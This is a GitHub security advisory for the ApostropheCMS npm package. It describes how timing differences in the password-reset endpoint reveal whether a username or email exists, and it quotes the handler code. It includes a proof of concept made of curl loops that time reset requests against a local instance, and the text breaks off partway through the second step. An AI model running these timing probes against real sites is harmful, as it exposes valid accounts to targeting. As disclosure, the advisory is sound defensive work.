GitHub Security Advisory: GHSA-mj7r-x3h3-7rmr
Package: apostrophe (NPM)
Severity: LOW (CVSS 3.7)
CWE: CWE-208: Observable Timing Discrepancy
Vulnerable versions: < 4.29.0
Patched in: 4.29.0

Summary: ApostropheCMS: User Enumeration via Timing Side Channel in Password Reset Endpoint

Details:
## Summary

The password reset endpoint (`/api/v1/@apostrophecms/login/reset-request`) exhibits a measurable timing side channel that allows unauthenticated attackers to enumerate valid usernames and email addresses. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs database writes and SMTP operations with no equivalent delay normalization, producing a distinguishable timing profile.

## Details

The `resetRequest` handler in `modules/@apostrophecms/login/index.js` attempts to obscure the user-not-found path with an artificial delay, but fails to normalize the timing of the user-found path:

**User not found — fixed 2000ms delay** (`index.js:309-314`):
```javascript
if (!user) {
  await wait();  // wait = (t = 2000) => Promise.delay(t)
  self.apos.util.error(
    `Reset password request error - the user ${email} doesn\`t exist.`
  );
  return;
}
```

**User found — variable-duration DB + SMTP operations, no artificial delay** (`index.js:323-355`):
```javascript
const reset = self.apos.util.generateId();
user.passwordReset = reset;
user.passwordResetAt = new Date();
await self.apos.user.update(req, user, { permissions: false });
// ... URL construction ...
await self.email(req, 'passwordResetEmail', {
  user,
  url: parsed.toString(),
  site
}, {
  to: user.email,
  subject: req.t('apostrophe:passwordResetRequest', { site })
});
```

The user-found path includes a MongoDB `update()` call and an SMTP `email()` send, which together produce response times that differ measurably from the fixed 2000ms delay. Depending on SMTP server latency, responses for valid users will either be noticeably faster (local/fast SMTP) or slower (remote SMTP) than the constant 2-second delay for invalid users.

Additionally, the `getPasswordResetUser` method (`index.js:664-666`) accepts both username and email via an `$or` query, enabling enumeration of both identifiers:
```javascript
const criteriaOr = [
  { username: email },
  { email }
];
```

There is no rate limiting on the reset endpoint. The `checkLoginAttempts` throttle (`index.js:978`) is only applied to the login flow, allowing unlimited rapid probing of the reset endpoint.

## PoC

**Prerequisites:** An Apostrophe instance with `passwordReset: true` enabled in `@apostrophecms/login` configuration.

**Step 1 — Baseline invalid user timing:**
```bash
for i in $(seq 1 10); do
  curl -s -o /dev/null -w "%{time_total}\n" \
    -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \
    -H "Content-Type: application/json" \
    -d '{"email": "nonexistent-user-'$i'@example.com"}'
done
# Expected: all responses cluster tightly around 2.0xx seconds
```

**Step 2 — Test known valid user:**
```bash
for i in $(seq 1 10); do
  curl -s -o /dev/null -w "%{time_total}\n" \
    -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \
    -H "Content-Type: application/json" \
    -d '{"email": "admin"}'
done
# Ex